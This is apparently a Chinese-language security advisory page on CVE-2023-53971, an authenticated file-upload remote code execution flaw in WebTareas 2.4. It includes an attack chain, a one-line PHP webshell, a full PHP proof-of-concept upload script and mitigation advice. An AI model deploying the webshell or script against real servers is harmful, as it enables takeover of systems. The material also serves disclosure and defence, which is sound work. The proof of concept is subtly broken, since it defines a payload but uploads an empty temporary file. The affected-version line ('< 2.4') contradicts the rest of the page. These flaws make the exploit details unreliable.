IPBUF安全漏洞报告
English
CVE-2023-53971 CVSS 8.8 高危

CVE-2023-53971 WebTareas 2.4 文件上传导致远程代码执行

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2023-53971
漏洞类型
文件上传,远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WebTareas 2.4

相关标签

CVE-2023-53971WebTareas文件上传漏洞远程代码执行RCE认证用户webshell高危漏洞Web应用安全PHP

漏洞概述

CVE-2023-53971是WebTareas 2.4版本中的一个高危安全漏洞,CVSS评分高达8.8。该漏洞属于文件上传安全缺陷,允许已认证的低权限用户通过聊天照片上传功能上传恶意PHP文件。攻击者利用此漏洞可以绕过服务器的文件类型检查,将包含任意代码的PHP文件上传至服务器指定目录(/files/Messages/),并通过访问生成的文件路径直接执行其中的恶意代码,从而实现远程代码执行(RCE)。成功利用此漏洞可导致服务器完全沦陷,攻击者可以执行任意系统命令、读取敏感数据、植入后门或进一步横向移动。由于该漏洞无需用户交互即可利用,且对机密性、完整性和可用性均造成高影响,因此被评定为高危漏洞。

技术细节

该漏洞存在于WebTareas 2.4的消息聊天功能模块中的照片上传功能。系统在处理文件上传请求时,仅进行了简单的文件类型检查或完全未进行有效验证。攻击者只需获取一个低权限账户登录凭证,即可构造包含恶意PHP代码的文件(如<?php system($_GET['cmd']); ?>)作为聊天照片上传。系统在接收文件后,未对上传文件的扩展名和内容进行严格审查,直接将文件保存至/files/Messages/目录并保留.php扩展名。由于该目录的PHP脚本执行权限未被正确限制,攻击者可通过构造HTTP请求访问上传后的文件路径(如/files/Messages/[filename].php?cmd=whoami),即可在服务器端执行任意PHP代码或系统命令。整个利用过程无需任何用户交互,攻击者可在短时间内完成完整的入侵链路。

攻击链分析

STEP 1
步骤1
获取WebTareas系统低权限账户(如普通用户账号)
STEP 2
步骤2
构造包含恶意PHP代码的文件(如webshell),通过聊天照片上传功能上传至/files/Messages/目录
STEP 3
步骤3
系统未对上传文件进行严格的扩展名和内容检查,直接保存.php文件
STEP 4
步骤4
通过HTTP请求访问上传后的PHP文件路径,触发恶意代码执行
STEP 5
步骤5
成功执行任意系统命令,实现远程代码执行(RCE),完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2023-53971 PoC - WebTareas 2.4 Authenticated RCE via File Upload // Target: WebTareas 2.4 // Vulnerability: Unrestricted file upload in chat photo functionality $target = 'http://target.com/webtareas'; $username = 'attacker'; $password = 'password123'; $upload_endpoint = '/main/inc/ajax.php?type=message&action=uploadPhoto'; $webshell_name = 'shell.php'; // Step 1: Login to get authenticated session $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '/index.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'login='.$username.'&password='.$password); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); // Step 2: Upload malicious PHP file $php_payload = '<?php system($_GET["cmd"]); ?>'; $post_data = [ 'photo' => new CURLFile(tempnam(sys_get_temp_dir(), 'up'), 'application/x-php', $webshell_name) ]; curl_setopt($ch, CURLOPT_URL, $target . $upload_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); // Step 3: Execute command via uploaded webshell echo 'Check uploaded shell at: ' . $target . '/files/Messages/' . $webshell_name . '?cmd=whoami'; curl_close($ch); ?>

影响范围

WebTareas < 2.4

防御指南

临时缓解措施
在官方补丁发布前,建议临时禁用WebTareas的聊天照片上传功能,或限制上传文件类型仅为图片格式(如jpg、png、gif),并确保上传目录无脚本执行权限。可通过Web服务器配置(如Apache的<Directory>或Nginx的location规则)禁用/files/Messages/目录下的PHP执行。同时加强用户权限管理,监控异常的文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表